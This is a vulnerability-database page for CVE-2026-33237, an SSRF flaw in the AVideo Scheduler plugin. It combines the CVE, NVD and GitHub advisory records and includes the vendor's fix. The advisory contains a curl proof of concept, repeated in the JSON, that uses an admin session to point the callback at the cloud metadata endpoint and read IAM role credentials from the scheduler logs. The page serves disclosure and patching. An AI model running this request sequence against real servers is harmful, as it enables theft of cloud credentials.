Vulnerability-Lookup

CVE-2026-33237 (GCVE-0-2026-33237)

Vulnerability from cvelistv5 – Published: 2026-03-20 23:30 – Updated: 2026-04-13 17:40

Title

AVideo has SSRF in Scheduler Plugin via callbackURL Missing `isSSRFSafeURL()` Validation

Summary

WWBN AVideo is an open source video platform. Prior to version 26.0, the Scheduler plugin's `run()` function in `plugin/Scheduler/Scheduler.php` calls `url_get_contents()` with an admin-configurable `callbackURL` that is validated only by `isValidURL()` (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler's callback URL is never passed through `isSSRFSafeURL()`, which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network `callbackURL` to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet. Version 26.0 contains a patch for the issue.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

URL

Tags

	https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
	https://github.com/WWBN/AVideo/issues/10403	x_refsource_MISC
	https://github.com/WWBN/AVideo/commit/df926e50058…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	WWBN	AVideo	Affected: < 26.0

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-33237

Vulnerability from fkie_nvd - Published: 2026-03-21 00:16 - Updated: 2026-04-13 18:16

Severity ?

5.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/WWBN/AVideo/commit/df926e500580c2a1e3c70351f0c30f4e15c0fd83	Patch
security-advisories@github.com	https://github.com/WWBN/AVideo/issues/10403
security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-v467-g7g7-hhfh	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	wwbn	avideo	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "B468F0CE-E5E7-4607-BD15-B5763C47493E",
              "versionEndExcluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. Prior to version 26.0, the Scheduler plugin\u0027s `run()` function in `plugin/Scheduler/Scheduler.php` calls `url_get_contents()` with an admin-configurable `callbackURL` that is validated only by `isValidURL()` (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler\u0027s callback URL is never passed through `isSSRFSafeURL()`, which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network `callbackURL` to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet. Version 26.0 contains a patch for the issue."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. Antes de la versi\u00f3n 26.0, la funci\u00f3n \u0027run()\u0027 del plugin Scheduler en \u0027plugin/Scheduler/Scheduler.php\u0027 llama a \u0027url_get_contents()\u0027 con una \u0027callbackURL\u0027 configurable por el administrador que es validada \u00fanicamente por \u0027isValidURL()\u0027 (verificaci\u00f3n de formato de URL). A diferencia de otros endpoints de AVideo que fueron recientemente parcheados para SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), la URL de callback del Scheduler nunca pasa por \u0027isSSRFSafeURL()\u0027, que bloquea las solicitudes a direcciones privadas RFC-1918, loopback y endpoints de metadatos en la nube. Un administrador puede configurar una tarea programada con una \u0027callbackURL\u0027 de red interna para realizar SSRF contra servicios de metadatos de infraestructura en la nube o APIs internas no accesibles de otra manera desde internet. La versi\u00f3n 26.0 contiene un parche para el problema."
    }
  ],
  "id": "CVE-2026-33237",
  "lastModified": "2026-04-13T18:16:29.593",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N",
          "version": "3.1"
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        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
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  "published": "2026-03-21T00:16:26.523",
  "references": [
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      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
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    },
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      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/issues/10403"
    },
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      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
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    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
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          "lang": "en",
          "value": "CWE-918"
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      "type": "Secondary"
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}

GHSA-V467-G7G7-HHFH

Vulnerability from github – Published: 2026-03-19 12:43 – Updated: 2026-04-13 17:40

Summary

AVideo has SSRF in Scheduler Plugin via callbackURL Missing `isSSRFSafeURL()` Validation

Details

Summary

The Scheduler plugin's run() function in plugin/Scheduler/Scheduler.php calls url_get_contents() with an admin-configurable callbackURL that is validated only by isValidURL() (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler's callback URL is never passed through isSSRFSafeURL(), which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network callbackURL to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet.

Details

The vulnerable code is at plugin/Scheduler/Scheduler.php:157-166:

// Line 157: callback URL retrieved and site-root token substituted
$callBackURL = $e->getCallbackURL();
$callBackURL = str_replace('$SITE_ROOT_TOKEN', $global['webSiteRootURL'], $callBackURL);
if (!isValidURL($callBackURL)) {
    return false;
}
// isValidURL() only checks URL format via filter_var(..., FILTER_VALIDATE_URL)
// The critical missing check is:
// if (!isSSRFSafeURL($callBackURL)) { return false; }
if (empty($_executeSchelude[$callBackURL])) {
    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, '', 30);

isValidURL() in objects/functions.php uses filter_var($url, FILTER_VALIDATE_URL) — it validates URL syntax only and does not block internal/private network targets.

isSSRFSafeURL() in objects/functions.php:4021 explicitly blocks: - 127.x.x.x / ::1 (loopback) - 10.x.x.x, 172.16-31.x.x, 192.168.x.x (RFC-1918 private) - 169.254.x.x (link-local, including AWS/GCP metadata at 169.254.169.254) - IPv6 private ranges

This function was added to the LiveLinks proxy (GHSA-9x67-f2v7-63rw fix, commit 0e5638292) and was previously used in the aVideoEncoder download flow (GHSA-h39h-7cvg-q7j6), but the Scheduler plugin was not updated in either fix wave, leaving it as an incomplete patch.

An admin can configure the callbackURL for a scheduled task via the Scheduler plugin UI and trigger execution immediately via the "Run now" interface.

PoC

# Step 1: Authenticate as admin

# Step 2: Create a scheduled task with cloud metadata SSRF callback
curl -b "admin_session=<session>" -X POST \
  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/add.json.php \
  -d "callbackURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&status=a&type=&date_to_execute=2026-03-18+12:00:00"

# Step 3: Trigger immediate execution via Scheduler run endpoint
curl -b "admin_session=<session>" \
  https://target.avideo.site/plugin/Scheduler/run.php

# Step 4: Read the scheduler execution logs
curl -b "admin_session=<session>" \
  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/get.json.php
# Response includes the AWS metadata API response with IAM role credentials

Expected: Internal network addresses rejected before HTTP request is made. Actual: The server makes an HTTP request to http://169.254.169.254/latest/meta-data/iam/security-credentials/ and the response (including AWS IAM role credentials) is stored in the scheduler execution log.

Impact

Cloud credential theft: On AWS, GCP, or Azure deployments, the attacker can retrieve IAM instance role credentials from the cloud metadata service (169.254.169.254), potentially enabling privilege escalation within the cloud environment.
Internal service probing: The attacker can make the server issue requests to internal APIs, microservices, or databases with HTTP interfaces not exposed to the internet.
Incomplete patch amplification: The fix for GHSA-9x67-f2v7-63rw and GHSA-h39h-7cvg-q7j6 added isSSRFSafeURL() to specific call sites but not the Scheduler. Deployments that updated expecting comprehensive SSRF protection remain vulnerable via this path.
Blast radius: Requires admin access. Impact is significant in cloud-hosted deployments where instance metadata credentials unlock broader infrastructure access.

Recommended Fix

Add isSSRFSafeURL() validation to the Scheduler callback URL before url_get_contents() is called, consistent with the existing SSRF fixes in plugin/LiveLinks/proxy.php and objects/aVideoEncoder.json.php:

$callBackURL = $e->getCallbackURL();
if (!isValidURL($callBackURL)) {
    return false;
}
// Add this SSRF check — same pattern as LiveLinks proxy fix (GHSA-9x67-f2v7-63rw):
if (!isSSRFSafeURL($callBackURL)) {
    _error_log("Scheduler::run SSRF protection blocked callbackURL: " . $callBackURL);
    return false;
}
if (empty($_executeSchelude[$callBackURL])) {
    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, '', 30);

Severity ?

5.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 25.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33237"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T12:43:23Z",
    "nvd_published_at": "2026-03-21T00:16:26Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Scheduler plugin\u0027s `run()` function in `plugin/Scheduler/Scheduler.php` calls `url_get_contents()` with an admin-configurable `callbackURL` that is validated only by `isValidURL()` (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler\u0027s callback URL is never passed through `isSSRFSafeURL()`, which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network `callbackURL` to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet.\n\n## Details\n\nThe vulnerable code is at `plugin/Scheduler/Scheduler.php:157-166`:\n\n```php\n// Line 157: callback URL retrieved and site-root token substituted\n$callBackURL = $e-\u003egetCallbackURL();\n$callBackURL = str_replace(\u0027$SITE_ROOT_TOKEN\u0027, $global[\u0027webSiteRootURL\u0027], $callBackURL);\nif (!isValidURL($callBackURL)) {\n    return false;\n}\n// isValidURL() only checks URL format via filter_var(..., FILTER_VALIDATE_URL)\n// The critical missing check is:\n// if (!isSSRFSafeURL($callBackURL)) { return false; }\nif (empty($_executeSchelude[$callBackURL])) {\n    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, \u0027\u0027, 30);\n```\n\n`isValidURL()` in `objects/functions.php` uses `filter_var($url, FILTER_VALIDATE_URL)` \u2014 it validates URL syntax only and does not block internal/private network targets.\n\n`isSSRFSafeURL()` in `objects/functions.php:4021` explicitly blocks:\n- `127.x.x.x` / `::1` (loopback)\n- `10.x.x.x`, `172.16-31.x.x`, `192.168.x.x` (RFC-1918 private)\n- `169.254.x.x` (link-local, including AWS/GCP metadata at `169.254.169.254`)\n- IPv6 private ranges\n\nThis function was added to the LiveLinks proxy (GHSA-9x67-f2v7-63rw fix, commit `0e5638292`) and was previously used in the aVideoEncoder download flow (GHSA-h39h-7cvg-q7j6), but the Scheduler plugin was not updated in either fix wave, leaving it as an incomplete patch.\n\nAn admin can configure the `callbackURL` for a scheduled task via the Scheduler plugin UI and trigger execution immediately via the \"Run now\" interface.\n\n## PoC\n\n```bash\n# Step 1: Authenticate as admin\n\n# Step 2: Create a scheduled task with cloud metadata SSRF callback\ncurl -b \"admin_session=\u003csession\u003e\" -X POST \\\n  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/add.json.php \\\n  -d \"callbackURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0026status=a\u0026type=\u0026date_to_execute=2026-03-18+12:00:00\"\n\n# Step 3: Trigger immediate execution via Scheduler run endpoint\ncurl -b \"admin_session=\u003csession\u003e\" \\\n  https://target.avideo.site/plugin/Scheduler/run.php\n\n# Step 4: Read the scheduler execution logs\ncurl -b \"admin_session=\u003csession\u003e\" \\\n  https://target.avideo.site/plugin/Scheduler/View/Scheduler_commands/get.json.php\n# Response includes the AWS metadata API response with IAM role credentials\n```\n\n**Expected:** Internal network addresses rejected before HTTP request is made.\n**Actual:** The server makes an HTTP request to `http://169.254.169.254/latest/meta-data/iam/security-credentials/` and the response (including AWS IAM role credentials) is stored in the scheduler execution log.\n\n## Impact\n\n- **Cloud credential theft:** On AWS, GCP, or Azure deployments, the attacker can retrieve IAM instance role credentials from the cloud metadata service (`169.254.169.254`), potentially enabling privilege escalation within the cloud environment.\n- **Internal service probing:** The attacker can make the server issue requests to internal APIs, microservices, or databases with HTTP interfaces not exposed to the internet.\n- **Incomplete patch amplification:** The fix for GHSA-9x67-f2v7-63rw and GHSA-h39h-7cvg-q7j6 added `isSSRFSafeURL()` to specific call sites but not the Scheduler. Deployments that updated expecting comprehensive SSRF protection remain vulnerable via this path.\n- **Blast radius:** Requires admin access. Impact is significant in cloud-hosted deployments where instance metadata credentials unlock broader infrastructure access.\n\n## Recommended Fix\n\nAdd `isSSRFSafeURL()` validation to the Scheduler callback URL before `url_get_contents()` is called, consistent with the existing SSRF fixes in `plugin/LiveLinks/proxy.php` and `objects/aVideoEncoder.json.php`:\n\n```php\n$callBackURL = $e-\u003egetCallbackURL();\nif (!isValidURL($callBackURL)) {\n    return false;\n}\n// Add this SSRF check \u2014 same pattern as LiveLinks proxy fix (GHSA-9x67-f2v7-63rw):\nif (!isSSRFSafeURL($callBackURL)) {\n    _error_log(\"Scheduler::run SSRF protection blocked callbackURL: \" . $callBackURL);\n    return false;\n}\nif (empty($_executeSchelude[$callBackURL])) {\n    $_executeSchelude[$callBackURL] = url_get_contents($callBackURL, \u0027\u0027, 30);\n```",
  "id": "GHSA-v467-g7g7-hhfh",
  "modified": "2026-04-13T17:40:20Z",
  "published": "2026-03-19T12:43:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-v467-g7g7-hhfh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33237"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/issues/10403"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/df926e500580c2a1e3c70351f0c30f4e15c0fd83"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has SSRF in Scheduler Plugin via callbackURL Missing `isSSRFSafeURL()` Validation"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-33237 (GCVE-0-2026-33237)

FKIE_CVE-2026-33237

GHSA-V467-G7G7-HHFH

Summary

Details

PoC

Impact

Recommended Fix

Tags

Sightings

Nomenclature